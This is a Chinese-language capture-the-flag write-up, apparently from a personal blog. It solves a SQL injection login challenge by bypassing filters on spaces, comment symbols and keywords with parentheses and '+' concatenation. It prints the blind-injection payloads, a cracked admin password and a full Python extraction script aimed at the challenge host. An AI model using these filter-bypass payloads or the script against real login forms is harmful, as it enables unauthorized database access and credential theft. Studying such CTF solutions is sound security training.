一道注入题

试出了一个新的方法,也不知道是不是正解


条件

题目地址:http://aim.zhugeaq.com:85/01/index.php
也不知道现在关没关
题目内容挺简单的,就是一个登陆框
Fuzzing后发现
1.有username、pass2个参数,但只有username可控,且有过滤
2.username输入admin时显示密码错误,其他则为用户名错误
3.过滤了所有能注释的符号:# / -
4.过滤了部分关键字:or and | & union , like
5.还过滤了空格
6.推测出关键的一条代码为

1
$password = "select pass from table where username = '{$username}'";

思考

由上上述条件得出是通过username进行注入
关键字过滤不多,通过子查询便可以查出密码
但是or被过滤了,如果从information_schema库里提取表明列名字段名等会被过滤掉
只能从当前数据库里注入
逗号被过滤,不能用字符串截断函数,也不能用like,通过大于或者小于号直接进行字符串比较
过滤了空格,可以用括号来绕过

问题

由于注释符被过滤了
用括号之后,最后的单引号无法被注释掉
那么该如何处理这个单引号?

神奇的+号

首先上3张图



这里1表示条件为真,0则为假
为0时会返回正常数据,而为1时则无返回值

做题

开始构造

数据库名

1
username=a'+(select(database())>'a')+'&pass=123

如果中间为真,mysql内无返回,会显示用户名错误
中间为假,mysql返回正常数据,则显示密码错误
具体做法见下面我贴的脚本
可以跑出数据库名为ctf

表名

然后是表名,通过

1
admi'+(select(group_concat('a'))from(ctf.admin))+'

来测试表名是否正确(这里group_concat为避免 ERROR 1242 (21000): Subquery returns more than 1 row的报错)
如果表名存在,则显示密码错误,否则显示用户名错误
猜了users,user,admin最后admin为正确表名

字段名

字段名根据题目过滤了or,密码不应该是password,结合表单中所给信息
猜测字段名为username和pass
然后就可以跑密码了
密码跑出来是D1C46106FDDA5B257A9F8BF503747FE3
解密为:root!@#123
直接登陆,得到flag

脚本

附上解题脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
#!/usr/bin/env python
# -*- coding:utf-8 -*-
import requests
ll = "0123456789abcdef"
s = requests.session()
url = "http://aim.zhugeaq.com:85/01/login.php"
def get_database():
#database:ctf
#table:admin
database = ""
for i in xrange(0,4):
for j in range(33,128):
sql = "admi'+(select(database())>'"+database+chr(j)+"')+'"
data = {"username":sql,"pass":"123"}
r = s.post(url,data = data )
if "密码错误" in r.content:
database = database + chr(j-1) #最后一位手动+1
print "[+]database:"+database
break
def get_table():
sql = "admi'+(select(group_concat('a'))from(ctf.admin))+'"
data = {"username":sql,"pass":"123"}
r = s.post(url,data = data )
print r.content
def get_password():
password = ""
for i in xrange(0,33):
for j in range(33,128):
sql = "admi'+(select(select(pass)from(admin))>'"+password+chr(j)+"')+'"
data = {"username":sql,"pass":"123"}
r = s.post(url,data = data )
print r.content
if "密码错误" in r.content:
password = password + chr(j-1)
print "[+]password:"+password
break
if __name__ == '__main__':
get_password()

文章目录
  1. 1. 条件
  2. 2. 思考
  3. 3. 问题
  4. 4. 神奇的+号
  5. 5. 做题
    1. 5.1. 数据库名
    2. 5.2. 表名
    3. 5.3. 字段名
  6. 6. 脚本